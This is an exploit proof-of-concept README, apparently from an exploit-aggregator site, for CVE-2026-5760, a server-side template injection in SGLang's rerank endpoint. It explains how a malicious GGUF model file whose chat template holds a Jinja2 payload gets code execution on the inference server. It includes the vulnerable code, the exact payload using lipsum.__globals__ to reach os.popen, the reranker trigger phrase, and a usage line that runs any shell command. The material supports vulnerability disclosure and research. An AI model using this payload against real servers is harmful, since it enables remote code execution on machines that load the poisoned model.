## https://sploitus.com/exploit?id=96C7BC5B-2BA0-5907-AABB-E3D4F951F52E
# SGLang SSTI to RCE PoC โ Unsandboxed Jinja2 Chat Template Rendering (CVE-2026-5760)
Remote Code Execution via Server-Side Template Injection (SSTI) in SGLang's reranking endpoint. A malicious GGUF model file with a crafted `tokenizer.chat_template` achieves arbitrary code execution when loaded into SGLang and the `/v1/rerank` endpoint is called.
## Features
Taking leverage of a Critical Severity vulnerability in [SGLang](https://github.com/sgl-project/sglang) through unsandboxed Jinja2 template rendering. SGLang's reranking endpoint (`/v1/rerank`) renders model-supplied chat templates using `jinja2.Environment()` instead of `ImmutableSandboxedEnvironment`, allowing a malicious model to execute arbitrary Python code on the inference server.
This is the same vulnerability class as [CVE-2024-34359](https://github.com/advisories/GHSA-56xg-wfcc-g829) ("Llama Drama") which affected llama-cpp-python.
## Step Through the Attack
1. Attacker crafts a GGUF model file with a malicious `tokenizer.chat_template` containing a Jinja2 SSTI payload
2. The template includes the Qwen3 reranker trigger phrase to activate the vulnerable code path in `serving_rerank.py`
3. Victim downloads and loads the model in SGLang (e.g., from HuggingFace)
4. When any request hits `/v1/rerank`, SGLang reads the `chat_template` and renders it with `jinja2.Environment()` โ **no sandbox**
5. The SSTI payload executes arbitrary Python code on the server
## Vulnerable Code
**File:** `python/sglang/srt/entrypoints/openai/serving_rerank.py`
```python
# serving_rerank.py lines 128-132 โ UNSANDBOXED
def _get_jinja_env():
return jinja2.Environment( # <-- Should be ImmutableSandboxedEnvironment
loader=jinja2.BaseLoader(),
autoescape=False,
undefined=jinja2.Undefined,
)
```
## Usage
The PoC generates a malicious GGUF file and demonstrates code execution through SGLang's unsandboxed rendering path.
```
python3 exploit.py "id"
```
Pass any shell command as an argument โ defaults to `id`.
## SSTI Payload
The malicious chat template embedded in the GGUF file:
```python
MALICIOUS_TEMPLATE = (
'The answer can only be "yes" or "no".\n'
'{{ lipsum.__globals__["os"].popen("echo SGLANG_RCE_CONFIRMED").read() }}'
'{% for message in messages %}{{ message["content"] }}{% endfor %}'
)
```
- The trigger phrase (`The answer can only be "yes" or "no"`) is required to activate SGLang's Qwen3 reranker detection, routing the request through the vulnerable `_render_jinja_chat_template()` path.
- `lipsum.__globals__["os"].popen()` escapes the Jinja2 context to execute arbitrary OS commands.
## References
- [CVE-2026-5760](https://vulners.com/cve/CVE-2026-5760)
- [CVE-2024-34359](https://github.com/advisories/GHSA-56xg-wfcc-g829) โ Same vulnerability class in llama-cpp-python
- [CVE-2025-61620](https://github.com/advisories/GHSA-6fvq-23cw-5628) โ DoS in vLLM via chat templates (same attack surface)
- [SGLang GitHub](https://github.com/sgl-project/sglang)
- CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
- CWE-94: Improper Control of Generation of Code
## Disclaimer
This tool is for authorized security research and educational purposes only. Use responsibly.